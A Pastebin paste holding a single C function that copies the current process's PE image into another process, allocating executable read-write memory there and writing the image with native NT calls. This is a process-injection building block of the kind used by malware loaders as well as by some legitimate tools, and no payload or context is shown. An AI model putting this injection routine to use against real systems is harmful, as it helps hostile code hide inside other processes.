Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // copy pe image on lpbase from current process to dwpid on the same address
- BOOL engine_CopyImageToProcess(HANDLE hProcess,LPVOID lpBase)
- {
- DWORD dwSize,dwFree=0;
- LPVOID lpNew=lpBase;
- // get PE size
- dwSize=engine_GetPEImageSize(lpBase);
- if (!NT_SUCCESS(NtAllocateVirtualMemory(hProcess,&lpNew,0,&dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE)))
- return FALSE;
- if (!NT_SUCCESS(NtWriteVirtualMemory(hProcess,lpNew,lpBase,dwSize,NULL)))
- {
- NtFreeVirtualMemory(hProcess,&lpNew,&dwFree,MEM_RELEASE);
- return FALSE;
- }
- return TRUE;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement